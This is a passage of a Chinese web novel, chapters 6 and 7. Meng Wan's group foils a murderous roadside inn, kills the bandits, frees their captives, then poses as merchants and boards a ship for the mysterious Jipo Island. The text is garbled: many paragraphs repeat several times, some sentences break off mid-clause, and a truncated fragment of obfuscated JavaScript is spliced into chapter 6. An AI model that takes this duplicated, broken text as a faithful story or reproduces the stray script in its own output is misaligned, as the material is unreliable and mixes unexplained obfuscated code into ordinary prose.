在客栈里被他打了一巴掌的小妾也并没有像他说的那样被赶走,反而低眉顺眼地又跟了上去。 蚩羽“腾”地从凳子上站了起来,面色不善的盯着她。 小妾眼神中涌现一丝慌乱,“你们要干什么?唐哥……啊!” 唐姓富商见她言辞得罪了孟晚,自己动手甩了她一巴掌,还恬不知耻地孟晚解释:“夫郎莫怪,上不了台面的东西,我这就将她赶走为夫郎出气。” 小妾不顾脸上的巴掌印抱着唐姓富商的胳膊哭求,“唐哥,别赶我走,我再也不敢乱说话了,您别赶我走啊……呜呜……” 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一大半都收进布口袋里,余下两盘由小厮端着上桌。 孟晚拿着碗筷上来,发现客栈里还是这些人,昨晚蚩羽说过的小偷并不在场。 他琢磨了一下,当作不知,稳坐在椅子上吃饭。 天公作美,他们吃饭的时候外面的雨还在下,等吃完了饭雨也停了。 “祖父,我们这便上路吧。”孟晚叫上吃饭吃到白胡子有些歪的夏垣,不动声色的帮他往上挪挪。 夏垣趁着低头咳嗽的时候自己又正了正,“咳,那就走吧。” 顺利的出了客栈,后面唐姓富商却还紧追不舍,“夫郎,夫郎是要带着家中祖父去往何地啊?不如在下送你们一程?” 孟晚出了门就变了一副脸色,他冷哼一声,“想死你就跟上来试试。” 冯褚适时抽刀出列,一脸不善的盯着唐姓富商。他目光冷得像是掺了冰碴,一身煞气像是真的见过血。 唐姓富商脚步顿住,后脊被看的发凉,强装镇定的暗骂两句脏话,悻悻的上了自家马车。 在客栈里被他打了一巴掌的小妾也并没有像他说的那样被赶走,反而低眉顺眼地又跟了上去。 蚩羽“腾”地从凳子上站了起来,面色不善的盯着她。 小妾眼神中涌现一丝慌乱,“你们要干什么?唐哥……啊!” 唐姓富商见她言辞得罪了孟晚,自己动手甩了她一巴掌,还恬不知耻地孟晚解释:“夫郎莫怪,上不了台面的东西,我这就将她赶走为夫郎出气。” 小妾不顾脸上的巴掌印抱着唐姓富商的胳膊哭求,“唐哥,别赶我走,我再也不敢乱说话了,您别赶我走啊……呜呜……” 孟晚见从他们纠纠缠缠说不到正事上,心烦意乱,干脆起身准备去做饭。 唐姓富商见孟晚欲要离开,收起缠在他身上的眼神,对一直看热闹的掌柜娘子说:“咳,包子给我手下的伙计们来五屉,我们这桌也要一屉肉包子两碗精米粥。” “贵客稍等,我现在就叫我家男人去煮粥。”客栈掌柜的娘子大喜,她推销半天只在异国人那里卖出去了一屉包子,还是唐姓富商大方,一下子就将厨房里的包子全解决了。 孟晚在外面一向谨慎,这个小店前不着村后不着店,他是心有疑虑的,便叫上夏垣的小厮和蚩羽,三人带上他们自己的米面进了厨房。 好歹刚才收了孟晚的半两银子,客栈掌柜娘子便分给他们一口锅,柴火可以随便用。 蚩羽现打的井水,孟晚淘好米后先煮了一锅精米粥,后又和面贴了不少饼子。虽然他们带了罐头和藕粉,但吃那些东西也会吃腻,还是馒头饼子之类的混在一起吃顶饿。 孟晚舍得放油,饼子烙的又香又脆,他们人多,便整整烙了两筐。 一大半都收进布口袋里,余下两盘由小厮端着上桌。 孟晚拿着碗筷上来,发现客栈里还是这些人,昨晚蚩羽说过的小偷并不在场。 他琢磨了一下,当作不知,稳坐在椅子上吃饭。 天公作美,他们吃饭的时候外面的雨还在下,等吃完了饭雨也停了。 “祖父,我们这便上路吧。”孟晚叫上吃饭吃到白胡子有些歪的夏垣,不动声色的帮他往上挪挪。 夏垣趁着低头咳嗽的时候自己又正了正,“咳,那就走吧。” 顺利的出了客栈,后面唐姓富商却还紧追不舍,“夫郎,夫郎是要带着家中祖父去往何地啊?不如在下送你们一程?” 孟晚出了门就变了一副脸色,他冷哼一声,“想死你就跟上来试试。” 冯褚适时抽刀出列,一脸不善的盯着唐姓富商。他目光冷得像是掺了冰碴,一身煞气像是真的见过血。 唐姓富商脚步顿住,后脊被看的发凉,强装镇定的暗骂两句脏话,悻悻的上了自家马车。 在客栈里被他打了一巴掌的小妾也并没有像他说的那样被赶走,反而低眉顺眼地又跟了上去。 蚩羽“腾”地从凳子上站了起来,面色不善的盯着她。 小妾眼神中涌现一丝慌乱,“你们要干什么?唐哥……啊!” 唐姓富商见她言辞得罪了孟晚,自己动手甩了她一巴掌,还恬不知耻地孟晚解释:“夫郎莫怪,上不了台面的东西,我这就将她赶走为夫郎出气。” 小妾不顾脸上的巴掌印抱着唐姓富商的胳膊哭求,“唐哥,别赶我走,我再也不敢乱说话了,您别赶我走啊……呜呜……” 孟晚见从他们纠纠缠缠说不到正事上,心烦意乱,干脆起身准备去做饭。 唐姓富商见孟晚欲要离开,收起缠在他身上的眼神,对一直看热闹的掌柜娘子说:“咳,包子给我手下的伙计们来五屉,我们这桌也要一屉肉包子两碗精米粥。” “贵客稍等,我现在就叫我家男人去煮粥。”客栈掌柜的娘子大喜,她推销半天只在异国人那里卖出去了一屉包子,还是唐姓富商大方,一下子就将厨房里的包子全解决了。 孟晚在外面一向谨慎,这个小店前不着村后不着店,他是心有疑虑的,便叫上夏垣的小厮和蚩羽,三人带上他们自己的米面进了厨房。 好歹刚才收了孟晚的半两银子,客栈掌柜娘子便分给他们一口锅,柴火可以随便用。 蚩羽现打的井水,孟晚淘好米后先煮了一锅精米粥,后又和面贴了不少饼子。虽然他们带了罐头和藕粉,但吃那些东西也会吃腻,还是馒头饼子之类的混在一起吃顶饿。 孟晚舍得放油,饼子烙的又香又脆,他们人多,便整整烙了两筐。 一大半都收进布口袋里,余下两盘由小厮端着上桌。 孟晚拿着碗筷上来,发现客栈里还是这些人,昨晚蚩羽说过的小偷并不在场。 他琢磨了一下,当作不知,稳坐在椅子上吃饭。 天公作美,他们吃饭的时候外面的雨还在下,等吃完了饭雨也停了。 “祖父,我们这便上路吧。”孟晚叫上吃饭吃到白胡子有些歪的夏垣,不动声色的帮他往上挪挪。 夏垣趁着低头咳嗽的时候自己又正了正,“咳,那就走吧。” 顺利的出了客栈,后面唐姓富商却还紧追不舍,“夫郎,夫郎是要带着家中祖父去往何地啊?不如在下送你们一程?” 孟晚出了门就变了一副脸色,他冷哼一声,“想死你就跟上来试试。” 冯褚适时抽刀出列,一脸不善的盯着唐姓富商。他目光冷得像是掺了冰碴,一身煞气像是真的见过血。 唐姓富商脚步顿住,后脊被看的发凉,强装镇定的暗骂两句脏话,悻悻的上了自家马车。 在客栈里被他打了一巴掌的小妾也并没有像他说的那样被赶走,反而低眉顺眼地又跟了上去。 第6章 吉婆岛 孟晚他们本来是同唐姓富商去一个方向,但是他让蚩羽和小厮稍微偏移了点方向,加快速度超过富商的车队。直到看不到后方的马车,才喊道:“蚩羽,前面好像有条小道,你把马车赶到小路里面遮盖住。” 夏垣的小厮不明所以,但是也跟了上去。 “夏大人,我请你去看出好戏。”孟晚跃跃欲试的下了车。 夏垣提醒道:“孟夫郎,我们此行该以打探太子的消息为重。” 孟晚向他保证,“夏大人尽管放心,就看一会儿,若是没什么事我们自然返回,后续也好安心上路。” 冯褚对夏垣点了点头,“大人,孟夫郎说得不无道理,咱们且看后续再做打算。” 夏垣就算不信孟晚,也不会不信冯褚。留下小厮照看马车,他们几个跟着孟晚往前,走到前面的矮坡上。 孟晚确定从这个位置刚好能看见富商的车队后,扒了扒身下的干草,就那么趴了下去。 楚辞紧随其后,动作相当熟练,想来以前没少跟着孟晚这么干过。 夏垣迟疑片刻,也学着他们的样子趴下,一群人就这样匍匐在山顶静静等待。 一盏茶的功夫后,富商的车队出现在不远处的山脚下。眼看他们就要走过这条路,却还没有其他异动,孟晚揪了根干草捏在手里玩,小声嘀咕着:“难不成是我多心了?” 他话音刚落,冯褚就率先发现了不对的地方,“大人,最前面赶车的车夫掉下来了。” 蚩羽也跟着汇报,“后面几个也全倒下了,夫郎,他们是不是被人下了药?” 孟晚视线一直盯着商队,嘴上小声回道:“你还记不记得昨天偷你荷包的小贼?” 虽然这里距离商队还远,但蚩羽也像孟晚一样压着声音说话,“今早就没见他,可能怕被我打,天不亮就吓跑了。” 孟晚若是在自家地盘上就算了,到陌生的地方总是忧思过多,将周围环境都仔细观察个遍。 “早上我去后面厨房做饭的时候有意观察过,那个姓唐的富商带来的车马都在客栈门口拴着,客栈院里有两辆马车和两匹马是咱们的。另有一匹马可能是那个异国人的,然后就没有了,我左看右看也没看到任何坐骑。这里距离最近的城镇都至少要走六天,那人总不可能是走过来的吧?”孟晚分析的头头是道。 “当然, 也可能有其他可能,比如他就是后面村落的村民,或者他和客栈掌柜的是亲戚等等……但是若往最坏的方面想的话,这就很有趣了。” 孟晚指了指山下乱象,富商的人意识到不对已经晚了,马匹失控,里面的人也没出来查看,看来已经都被放倒。“这么偏僻的地界里,突然来了这么一群肥羊,想必是谁都不会轻易放过吧。” 这回夏垣不吭声了,所有人都听孟晚的话蛰伏起来,静待后续发展。 果然,这边富商的车队刚被撂倒,后头便涌上来十来个匪徒,每一个都手持大刀。普通百姓制刀可是有规制的,他们的刀绝不是平民百姓能轻易弄到手的。 这群人先是谨慎的绕着车队走了一圈,真正确定富商一行毫无反抗之力了,这才提着白刃钻进车厢里,出来时各个刃上滴血。 夏垣毕竟是朝廷命官,见此情形忍不住皱眉,“他们不光谋财,还要害命?” 孟晚浅笑,“夏大人,不然人家还刻意留下活口来等着日后报复吗?” “他们可还有帮手在后头?”夏垣言下之意想帮,他手下的冯褚轻轻松松就能解决这十来个匪徒。 孟晚亲眼看到有匪徒钻进最大的马车内,眼中闪过一丝快意,“应该是没有了,夏大人请便。” 这群**的动手能力很强,哪怕冯褚已经很快了,制服住这群**的时候,富商车队的人也只死剩了五个人。 他们是来干正事的,没空再揪着这群匪徒大老远去报官。冯褚一手一个,就地就把这些**扭了脖子。 孟晚平静的说:“杀都杀了,咱们回客栈看看他们还有没有同伙,最好一网打尽,不然后续可能会有麻烦。” 夏垣也认同这个说法,于是他们一行人又回到客栈。 富商那头**剩下的五个人胆都要被吓破了,看孟晚他们也不像善茬,唯恐他们黑吃黑把自己也了结了,上来就自报家门,将来历去向都说了出来。 原来他们主家是临安府的商人,他们那位好色的唐老爷是受人相邀去一个叫吉婆岛的地方,登船去买鲛珠的。 唐家在临安府虽然有几个铺子,但也不算什么巨富,唐老爷上头还有他爹和他大哥在,钱也不能随意挥霍,于是干脆借口做生意,拉了一批家里的货出来,准备在北海港口卖掉就去登岛。 “邀请唐老爷的是什么人?”孟晚坐在客栈 空旷的厅堂里,审问起富商的小厮和车夫。 富商的贴身小厮湿着裤子,有问必答,“也是我们当地的老爷,和我们老爷一个辈分,从小玩到大的情分,只是后来他家破败了,从临安府离开一走就是二十年,去年才又重新联系上老爷。” “鲛珠……吉婆岛?”孟晚在脑海里思索了一圈没有答案,眼睛看向夏垣,对方也摇了摇头,他们都没听说过这个地方。 “怎么回事?老板在哪里?我怎么睡在这里?”孟晚还待继续审问,后院突然传来一道腔调怪异的男声,是那个早上同样吃了包子中招的外国人。 这群**着急收拾肥羊,没空理会这种小活,暂时留了他一条小命。 异国男人扶着额头走进厅堂,蚩羽也大惊小怪的从一楼某间客房里跑出来。 “夫郎,昨晚那个小贼真的被害了,就在屋子里,脖子被割了一刀,血都快流干了!” 异国男人听懵了,“什么叫被害了?是我想的那样吗?到底是怎么回事?” 孟晚指了指面前被吓得屎尿全流的五人,“这家店是黑店,今早那个胖子已经被害了。” “黑店是什么店?被害?”异国人对这些字眼感到十分陌生。 “意思就是……”孟晚做了个抹脖子的动作,“除了我们在座的人之外,所有人都被客栈掌柜夫妻给杀了。” 异国人扭头看到瘫坐在椅子上的五人,果然各个神情萎靡,有的还受了伤,腿上胳膊上大片的血痕,棉衣都被砍破了。 他浑身一阵酸麻,后背瞬间起了一层薄汗。怪不得自己会昏迷不醒,原来是早上吃的饭食有问题,他就说肉包子怎么会比外面卖的素包子还便宜。 “那现在……Ho??y……我……”异国人语无伦次,甚至还冒出两句本国语言来。 孟晚脑子活泛些,“你说的是安南话吗?你是安南的人?” 异国人一怔,“我父亲是安南人,母亲是禹国人。” 异国人叫安博,来北海就是为了找他母亲在北海这边的亲人的,结果从南找到北,从东找到西也没找到,再找就要到钦州去了。 孟晚笑得真情实意,“找人啊,我倒是能帮忙。” 暂时糊弄住他给自己找的翻译,孟晚把富商剩下那五个小厮打发走,无视他们欲言又止的神情,顺理成章的没收了这笔 不义之财,只分给他们一辆马车。 他们这五个不回去就是流民,回去主家也不会轻易放过他们,不过孟晚若是将富商留下的货物给他们就好看了,他们定会拼着流民的身份也分了这批货和马车跑路。 孟晚没想到的是,怕回去直接被主家打死,这五人还真是半路就将马车卖了各奔东西。 客栈是个老窝点,后面的小村子也不干净。留守的**见客栈掌柜一行人迟迟不归,来查看的时候没用冯褚出手,蚩羽就将他们解决了。 孟晚最是知道做事要赶尽杀绝的道理了,让冯褚和蚩羽将村子里扫荡清楚,救出村里被藏着的七八个,**们抢来的女娘和小哥儿。 他们遭受的都是非人的待遇,家里人基本都被**杀害了,无路可去,有的还生了**的孩子,死又不能死。 孟晚写了两封信,又留给他们一辆最朴素的马车,和**们抢来的金银珠宝。 钱都藏在车厢底下,这群女娘小哥儿穿的又破烂,比乞丐也强不了多少,没人会费心劫他们。 “你们往钦州最近的城市走,里面有个叫石见驿站的铺子,把信交给驿站的人,他们自会将你们送到西梧府赫山县去。那里有一群和你们经历相当的女娘和小哥儿,他们会帮你们的。” 将后续事情都交代好,孟晚借着富商遗留下来的几车货物,一行人扮作商人,带上安博,路上又解决了几批不长眼的,终于在二月底来到北海港口。 一入港口范围,映入眼帘的便是一排排疍民们搭的草棚,他们以捕鱼和采珠为生,各个都是水里的高手。 港口人来马往,浪声滔滔,岸边停靠着许多船只,多是小渔船,可中大型商船也不是没有。 系缆之处,旅客们或下船上岸,或是准备登船出发。堤畔岸边,有人骑马驻足观望,有人潇洒的撑船入海,还能隐隐听到海面上传来的渔歌声,宛如一幅生机勃勃的画卷。 北海港口并不是岭南最大的港口,但绝对是其中最混乱的一个。鱼龙混杂,旁的地方百年不见一个异国人,这里随处可见。 但大商贩很少,基本都是冒险过来捡漏的小摊贩。特别是现在禹国和安南关系紧张,大商贩不会拎不清的过来明知故犯,真被抓到就是叛国罪,全家都会被**。 夏垣到北海港口之间就把白胡子扯了,他如今扮演的角色是唐姓富商,孟晚是他身边 的小侍,安博是他请的翻译。 他们拉过来四车的茶叶很受欢迎,孟晚本就是商人,混迹其中简直如鱼得水,还有异国商人想和他做长久买卖。 他大手一摆表示都听他们老爷的,更甚者还想挖墙角把孟晚挖到自家,孟晚要是再多混几天,都能成为这里的红人了。 眼睁睁看着孟晚真的在拉拢他们珍罐坊的生意,夏垣不得不悄声提醒他,“孟夫郎,如今我们已经到了北海港口,是按照原计划找机会去太平,还是借用唐蒲的身份去吉婆岛?” 孟晚做低微的姿态小声答复,“最好做两手准备,两边哪个靠谱从哪儿走。” 说是这样说,但其实有其他法子去安南的话,能不惊动当地官员最好。 像模像样的把手中的货分销完,孟晚等人租了间小屋,不急不缓的开始等待,白日里张罗着租大船,透漏出自己要去吉婆岛的信息,夜里找人打听吉婆岛的方位和来历。 过了几天,居然被另一个要去吉婆岛的商人找上了门。 对方是福州府长乐县人,名叫陈振龙,年轻时还是个秀才,不知经历如何,后来竟然放弃继续进学,反而经起商来。 “福州也有几处大港口,我时而便随船出海,将咱们禹国的茶叶、陶瓷等销往海外,再从异国领地内进口香料、**之类。” 陈振龙感慨道:“有些小邦国盛产珠宝,我也曾给家人带过,可惜岭南偏僻,便是运输回来也不如盛京城好卖。” 孟晚对这方面十分有发言权,但是他不说,安静的扮演一个小侍,站立一旁听着主家和客人说话。 夏垣为官也有二十年了,经历见识颇多,与陈振龙说起话来也是有来有往。 但他一介二品大员,可没什么闲心和一个商户闲聊。 夏垣有目的的将话引到吉婆岛上面,“陈老弟也是被郭启秀叫去上岛的?” 夏垣口中的人便是唐姓富商的同乡,也是邀请他此行的人。 陈振龙闻言明显愣了一会儿,“郭启秀是谁?我是在一次去吕宋国的时候,认识了一个叫莉娜的女娘,她同我做过几次生意,这次便邀请我上岛买珠宝的。” 他一直想做珠宝生意,实在是家底微薄,一直可望而不可求,莉娜的邀请正合他意,便想着过去看看。 孟晚耳根动了动,不同性别,甚至不同国的人,邀请其他商人上岛? 的小侍,安博是他请的翻译。 他们拉过来四车的茶叶很受欢迎,孟晚本就是商人,混迹其中简直如鱼得水,还有异国商人想和他做长久买卖。 他大手一摆表示都听他们老爷的,更甚者还想挖墙角把孟晚挖到自家,孟晚要是再多混几天,都能成为这里的红人了。 眼睁睁看着孟晚真的在拉拢他们珍罐坊的生意,夏垣不得不悄声提醒他,“孟夫郎,如今我们已经到了北海港口,是按照原计划找机会去太平,还是借用唐蒲的身份去吉婆岛?” 孟晚做低微的姿态小声答复,“最好做两手准备,两边哪个靠谱从哪儿走。” 说是这样说,但其实有其他法子去安南的话,能不惊动当地官员最好。 像模像样的把手中的货分销完,孟晚等人租了间小屋,不急不缓的开始等待,白日里张罗着租大船,透漏出自己要去吉婆岛的信息,夜里找人打听吉婆岛的方位和来历。 过了几天,居然被另一个要去吉婆岛的商人找上了门。 对方是福州府长乐县人,名叫陈振龙,年轻时还是个秀才,不知经历如何,后来竟然放弃继续进学,反而经起商来。 “福州也有几处大港口,我时而便随船出海,将咱们禹国的茶叶、陶瓷等销往海外,再从异国领地内进口香料、**之类。” 陈振龙感慨道:“有些小邦国盛产珠宝,我也曾给家人带过,可惜岭南偏僻,便是运输回来也不如盛京城好卖。” 孟晚对这方面十分有发言权,但是他不说,安静的扮演一个小侍,站立一旁听着主家和客人说话。 夏垣为官也有二十年了,经历见识颇多,与陈振龙说起话来也是有来有往。 但他一介二品大员,可没什么闲心和一个商户闲聊。 夏垣有目的的将话引到吉婆岛上面,“陈老弟也是被郭启秀叫去上岛的?” 夏垣口中的人便是唐姓富商的同乡,也是邀请他此行的人。 陈振龙闻言明显愣了一会儿,“郭启秀是谁?我是在一次去吕宋国的时候,认识了一个叫莉娜的女娘,她同我做过几次生意,这次便邀请我上岛买珠宝的。” 他一直想做珠宝生意,实在是家底微薄,一直可望而不可求,莉娜的邀请正合他意,便想着过去看看。 孟晚耳根动了动,不同性别,甚至不同国的人,邀请其他商人上岛? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈振龙闻言明显愣了一会儿,“郭启秀是谁?我是在一次去吕宋国的时候,认识了一个叫莉娜的女娘,她同我做过几次生意,这次便邀请我上岛买珠宝的。” 他一直想做珠宝生意,实在是家底微薄,一直可望而不可求,莉娜的邀请正合他意,便想着过去看看。 孟晚耳根动了动,不同性别,甚至不同国的人,邀请其他商人上岛? 的小侍,安博是他请的翻译。 他们拉过来四车的茶叶很受欢迎,孟晚本就是商人,混迹其中简直如鱼得水,还有异国商人想和他做长久买卖。 他大手一摆表示都听他们老爷的,更甚者还想挖墙角把孟晚挖到自家,孟晚要是再多混几天,都能成为这里的红人了。 眼睁睁看着孟晚真的在拉拢他们珍罐坊的生意,夏垣不得不悄声提醒他,“孟夫郎,如今我们已经到了北海港口,是按照原计划找机会去太平,还是借用唐蒲的身份去吉婆岛?” 孟晚做低微的姿态小声答复,“最好做两手准备,两边哪个靠谱从哪儿走。” 说是这样说,但其实有其他法子去安南的话,能不惊动当地官员最好。 像模像样的把手中的货分销完,孟晚等人租了间小屋,不急不缓的开始等待,白日里张罗着租大船,透漏出自己要去吉婆岛的信息,夜里找人打听吉婆岛的方位和来历。 过了几天,居然被另一个要去吉婆岛的商人找上了门。 对方是福州府长乐县人,名叫陈振龙,年轻时还是个秀才,不知经历如何,后来竟然放弃继续进学,反而经起商来。 “福州也有几处大港口,我时而便随船出海,将咱们禹国的茶叶、陶瓷等销往海外,再从异国领地内进口香料、**之类。” 陈振龙感慨道:“有些小邦国盛产珠宝,我也曾给家人带过,可惜岭南偏僻,便是运输回来也不如盛京城好卖。” 孟晚对这方面十分有发言权,但是他不说,安静的扮演一个小侍,站立一旁听着主家和客人说话。 夏垣为官也有二十年了,经历见识颇多,与陈振龙说起话来也是有来有往。 但他一介二品大员,可没什么闲心和一个商户闲聊。 夏垣有目的的将话引到吉婆岛上面,“陈老弟也是被郭启秀叫去上岛的?” 夏垣口中的人便是唐姓富商的同乡,也是邀请他此行的人。 陈振龙闻言明显愣了一会儿,“郭启秀是谁?我是在一次去吕宋国的时候,认识了一个叫莉娜的女娘,她同我做过几次生意,这次便邀请我上岛买珠宝的。” 他一直想做珠宝生意,实在是家底微薄,一直可望而不可求,莉娜的邀请正合他意,便想着过去看看。 孟晚耳根动了动,不同性别,甚至不同国的人,邀请其他商人上岛? 的小侍,安博是他请的翻译。 他们拉过来四车的茶叶很受欢迎,孟晚本就是商人,混迹其中简直如鱼得水,还有异国商人想和他做长久买卖。 他大手一摆表示都听他们老爷的,更甚者还想挖墙角把孟晚挖到自家,孟晚要是再多混几天,都能成为这里的红人了。 眼睁睁看着孟晚真的在拉拢他们珍罐坊的生意,夏垣不得不悄声提醒他,“孟夫郎,如今我们已经到了北海港口,是按照原计划找机会去太平,还是借用唐蒲的身份去吉婆岛?” 孟晚做低微的姿态小声答复,“最好做两手准备,两边哪个靠谱从哪儿走。” 说是这样说,但其实有其他法子去安南的话,能不惊动当地官员最好。 像模像样的把手中的货分销完,孟晚等人租了间小屋,不急不缓的开始等待,白日里张罗着租大船,透漏出自己要去吉婆岛的信息,夜里找人打听吉婆岛的方位和来历。 过了几天,居然被另一个要去吉婆岛的商人找上了门。 对方是福州府长乐县人,名叫陈振龙,年轻时还是个秀才,不知经历如何,后来竟然放弃继续进学,反而经起商来。 “福州也有几处大港口,我时而便随船出海,将咱们禹国的茶叶、陶瓷等销往海外,再从异国领地内进口香料、**之类。” 陈振龙感慨道:“有些小邦国盛产珠宝,我也曾给家人带过,可惜岭南偏僻,便是运输回来也不如盛京城好卖。” 孟晚对这方面十分有发言权,但是他不说,安静的扮演一个小侍,站立一旁听着主家和客人说话。 夏垣为官也有二十年了,经历见识颇多,与陈振龙说起话来也是有来有往。 但他一介二品大员,可没什么闲心和一个商户闲聊。 夏垣有目的的将话引到吉婆岛上面,“陈老弟也是被郭启秀叫去上岛的?” 夏垣口中的人便是唐姓富商的同乡,也是邀请他此行的人。 陈振龙闻言明显愣了一会儿,“郭启秀是谁?我是在一次去吕宋国的时候,认识了一个叫莉娜的女娘,她同我做过几次生意,这次便邀请我上岛买珠宝的。” 他一直想做珠宝生意,实在是家底微薄,一直可望而不可求,莉娜的邀请正合他意,便想着过去看看。 孟晚耳根动了动,不同性别,甚至不同国的人,邀请其他商人上岛? 第7章 登船 夏垣从陈振龙口中也没套出太多有用的东西,不知道对方是真不知道还是有意隐瞒。 至于怎么登岛,按照陈振龙的说法,莉娜给他的信上说,到达北海港口之后,自会有岛上的船过来接应。 果然,他们又等了两天,清晨天不亮的时候便有个异国小男孩敲响了夏垣的房门。 小男孩什么话都没说,递给开门的冯褚六块玉牌,又指了指远处的港口。 冯褚随着他手指的方向望去,发现港口处不知何时停了一艘大船。 小男孩送完东西就走,看方向接下来是要去陈振龙住的地方。 “夫郎!船真的来了!” 孟晚迷迷糊糊的穿上衣服下床,蚩羽已经在收拾行李了,“桌上是刚才褚哥给的玉牌,他说船已经在港口等着了。” “玉牌?”孟晚裹着薄棉袄挪到桌子旁边,将上面的两块玉牌拿起来查看。 细细长长的两片薄玉上,各刻着一条人身鱼尾的鲛人,口含宝珠,要吐不吐的模样。 上面的鲛人雕刻的极为精致,鱼尾上的鳞片,和鲛人弯曲的发丝,寥寥几笔便传神至极。 孟晚抚着上面的纹路,口中喃喃,“雕刻这玉牌的人技艺绝对算是登峰造极,放眼整个禹国也是凤毛麟角。” 蚩羽过来叫他,“夫郎,你说什么凤毛?我已经收拾好了,咱们走吧。” 孟晚把玉牌妥善放入怀里,然后默默的拾起两个蚩羽落下的包裹,跟在他身后出了门。 陈振龙也带着两个小厮四个打手跟了上来。而且不光他们一行人,还有一队不认识的富商也在往港口赶,想来也是要登岛的,前两天孟晚没有注意到,应该是刚到北海港口不久。 孟晚没在港口附近看到冯褚所说的小男孩,但他能肯定这些天定然有人在港口观察他们的一举一动,不然送出的玉牌不可能正对他们的人数。 包括陈振龙收到的玉牌也是如此,不多不少正好七枚。 天色黑沉,远处看渡口处停靠的船时,并没有感觉有多大,然而随着一点点走近才发觉,这是艘能承载百人以上的中大型船只。 大家渐渐适应了破晓前的黑暗,船身的全貌才慢慢在众人眼前铺展开来。 孟晚仰头注视船上那根通天似的桅杆,和弯曲有力的船舷。木肋骨一根接着一根,从船头铺设到船尾,宽得惊人。 船身中间叠坐着四层舱楼,底层的门紧关,中层有木格窗,顶层围着短栏。它们屹立在摇晃的大船上,稳稳当当,像是直接扎在了船底似的。 “首锐而尾阔,底尖上敞,首尾昂然,两舷外鼓。此种形态善破惊涛,且又能广纳舱内之地,是艘正正经经的福船呐!” 夏垣是这方面的行家,禹国境内福船和宝船寻常人轻易不可使用。 宋亭舟当初来岭南赴任之时,租坐的都是一艘艘的民船,他们还要带大量的东西和人,不光每次换船麻烦,路费也花费不小。若不是孟晚当初攒了一笔,搬家上路都是难事。 北海港口处有四座码头,居中的那个是最大的,如今福船就停在距离中间码头最近的地方。 众人有序上前,才发现仍不能直接上船,需要乘坐小舟过去福船边上才行。 码头边上停了五艘小舟,算上船家一次也只能上去七八个人。 孟晚是说什么都不可能第一个上船的,他们一行人便候在原地,由另一位不认识的富商先带人上了船。 他带的人着实不少,乌泱泱的一大片,最少三十几号,这一个来回的五艘小船光是运他们一行人了。 海边咸湿的风吹透孟晚身上的棉衣,他顾不得冷,微眯起眼睛仔细打量那伙人上船后的一举一动。 一位中年富商在小厮的搀扶下上了船,然后一个、两个……直到坐满,船夫并没有立即撑起船桨,而是挨个检查了他们手中的玉牌是否数量相对。 检查完毕,确定一人一牌,船夫并无表示,乘船顺利离开。 孟晚能看到小船没有划出太远,就被连接到了福船上,那个富商顺利带人上了福船。 四艘小船同样如此,船上的四位船夫同样要求他们出示玉牌,其中三艘都顺利出发了,剩下一艘小船上的人竟然厮打起来。 “你手上的玉牌明明是我的!刚才你说借来看看,我才借你,快还给我!”其中一个小厮气愤道。 他身边的小厮冷笑,“谁说是你的,明明是我自己的。” 被骗了玉牌的小厮越看他越面生,“不对,你不是我家的下人,你是谁?王哥快来帮忙,他不是咱们家的小厮!” 王哥刚要动手,突然被身边的人制住,浑身动弹不得。 被骗了玉牌的小厮浑身鸡皮疙瘩都起来了,“不对劲,你、你、还有你,你们都是什么人,怎么混上来的?” 这时他才发现,原来除了他和王哥,身边的几个小厮竟然全是生人。天色太暗,他们俩刚才竟然无知无觉,这会儿才发现不对劲来,已经晚了,双拳难敌四手。 “船家,他们几个不是我们王家人,快将他们赶走!” 无论他们俩怎么喊,船夫都无动于衷,最后他们只能绝望的被那群人按在水里,没了声息。 从始至终,船夫连头都没抬一下,确定了船上的人都有玉牌后,小船终于驶离,留下还泛着水波的海面,很快就被浪潮抚平。 渡口上的人都看到了这一幕,夏垣眼皮子跳了跳,刚要说些什么,他们身后便又走过来两人。 一老一青年,青年是主子,老的是仆人,手里各捏了块玉牌。 那青年将手中的玉牌拿到眼前仔细观察,“原来吉婆岛的传说竟然是真的,就是不知道登岛是不是真的能看见鲛人。” 他身边的老仆苍老的声音响起,“有没有鲛人不打紧,老爷交代的事能顺利办成,才是重中之重。” 青年对老仆很是客气,“堼伯说的是。” 鲛人?鲛珠? 什么鬼东西? 孟晚心里盘算,本来以为糊弄普通商贩入坑的骗局。可如今看来,不管是福船,还是这一老一少主仆二人,都并非表面那般简单,其中可能内有门道。 这两人八成是知道什么事,所有有意抢夺玉牌,想要登岛。 而吉婆岛的人又只认牌,不认人…… 也幸好被抢的不是陈振龙,不然他们少不得要和这对高深莫测的主仆对上。 小船返航,孟晚他们也登上了小舟,这次并没有什么意外,人少船多,陈振龙和那对主仆分作三船。孟晚这边算上翻译安博正好七人,只不过孟晚的行李颇多,又单独运了一船,一行人才顺利登上福船。 船上很安静,杂役们忙碌却无声,左舷的红灯与右舷的绿灯相互呼应,破开海面上的浪潮,急速前行。 孟晚小船换大船,吹了半天海风,越吹越迷糊,干脆进了船舱里。 据夏垣所说,福船底层主要是装土石用来压舱用,第二层才是居住的舱室。第三层设有扬帆、起碇的操作空间,厨房和储物的库房也设在第三层。 孟晚下去的时候,看见许多在船上做工的杂役从第三层来回穿梭,想来其中部分房间是他们休息睡觉的地方。 第二层的房间很多,却被切割成了两部分,中间被一扇铁门锁上。孟晚他们是从右侧楼梯下去,船上的杂役给了他们每人一把钥匙,房间可以随机选择。 孟晚选了中间偏右侧楼梯的房间,他们一行人挨着住下,孟晚和夏垣在其中。 楚辞陪孟晚下来的时候,第一个上船的富商正在和那一老一青年对峙。 富商自然是登上福船后看到了自家仆人被人杀害,过来找场子的。 船舱里一览无遗,孟晚没有看热闹的打算,飞快开门进了卧室。 楚辞也跟进来为他把脉,眉头轻轻蹙着,抬手比道,“干爹,你有些风寒,我回房间替你拿药。” “怪不得头晕。”孟晚拉住楚辞,“你先别出去,等外边完事再说,不差这么一时半会。” 外面走廊上已经嚷嚷起来了,基本上都是姓王的富商在嚷嚷.他这边的人多,以为自己有嚣张的资本,为家中仆人报仇是假,威严受到了挑衅才是真的。 结果什么情况光听门口传来的惨叫声就能知道,虽然那对主仆身边只带了四个人,但那四人下手之狠,一看就不是好对付的,就是不知道他们在船上会不会收敛一些了。 过了一会儿外面没有动静了,孟晚才放楚辞出去。二层的房间都很小,里面基本上只有一张床和一个柜子。 